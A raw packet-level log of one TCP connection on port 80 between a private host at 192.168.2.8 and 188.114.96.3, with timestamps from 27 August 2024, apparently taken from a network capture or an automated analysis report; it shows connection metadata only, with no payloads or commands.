Aug 27, 2024 09:49:37.392318964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392330885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392337084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392343044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392355919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392359972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392370939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392379045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392411947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392546892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392556906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392568111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392599106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392633915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392644882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392654896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392666101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392673016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392702103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392735958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392760992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392772913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392782927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392795086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392807007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392815113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392818928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392843008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392867088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.394335032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.394345999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.394356012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.394361019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.394371986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.394382000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.394393921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.394443989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.394474983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.473193884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473206043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473218918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473278999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473283052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.473289967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473313093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473351955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473376036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.473407984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.473772049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473824978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.473892927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473903894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.473942041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474016905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474028111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474040031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474052906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474064112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474112034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474123955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474143028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474178076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474205971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474219084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474231005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474242926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474262953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474291086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474375010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474385977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474397898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474422932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474590063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474601030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474611044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474622965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474632978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474642992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474708080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474739075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474750042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474767923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474778891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474778891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474791050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474824905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.474936962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474947929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.474987984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.475085020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475095987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475128889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.475255966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475267887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475274086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475282907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475290060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475426912 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.475426912 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.475567102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475579023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475590944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475603104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475615025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475625992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475635052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.475639105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.475657940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.475725889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.478600979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.478610992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.478622913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.478673935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.479182959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479195118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479209900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479219913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479233027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479238033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.479300976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.479418039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479429960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479440928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479453087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479464054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479470015 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.479475021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479486942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479497910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.479497910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479510069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479520082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479532003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479553938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.479576111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.479614019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479624033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479635000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.479660034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480504036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480515003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480525970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480536938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480554104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480555058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480566978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480578899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480582952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480591059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480602026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480613947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480624914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480637074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480642080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480655909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480668068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480669022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480680943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480689049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480693102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480704069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480715036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480726004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480731964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480736971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480748892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480755091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480766058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480767965 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480781078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480789900 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480791092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480823994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.480935097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480947018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480957031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480967999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480979919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480990887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.481000900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.480998993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.481015921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.481026888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.481041908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.481053114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.481053114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.481082916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.481093884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.481883049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.481894970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.481900930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.481945992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.481983900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.481995106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.482006073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.482017994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.482028961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.482076883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.482090950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.561394930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.561410904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.561422110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.561444044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.561455011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.561467886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.561480045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.561513901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.561618090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.562557936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562576056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562588930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562616110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.562635899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.562732935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562745094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562824011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.562886953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562899113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562910080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562922001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562937975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.562942028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.562990904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563002110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563007116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.563035011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.563103914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563114882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563124895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563141108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563153028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.563179970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.563199043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563211918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563241005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.563277006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563288927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563303947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563313961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.563318968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.563344955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.564367056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.564420938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.564439058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.564450979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.564500093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.564609051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.564625978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.564639091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.564651012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.564661980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.564717054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.565082073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.565093994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.565104008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.565136909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.565146923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.565218925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.565229893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.565310001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.569926023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570065022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570076942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570121050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570152998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570168972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570180893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570192099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570194006 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570204020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570214987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570223093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570244074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570275068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570324898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570333958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570346117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570374012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570497036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570508003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570519924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570532084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570554972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570578098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570702076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570754051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570764065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570789099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570805073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570817947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570830107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570842028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570843935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570862055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570926905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570938110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570949078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570960045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.570966959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.570981979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571016073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571027040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571038961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571050882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571063995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571089029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571104050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571114063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571129084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571135044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571170092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571196079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571208000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571218967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571230888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571243048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571271896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571409941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571422100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571432114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571443081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571455956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571460962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571468115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571477890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571480036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571491003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571501017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571537018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.571717978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571734905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571753025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.571764946 CEST	80	49715	188.114.96.3	192.168.2.8
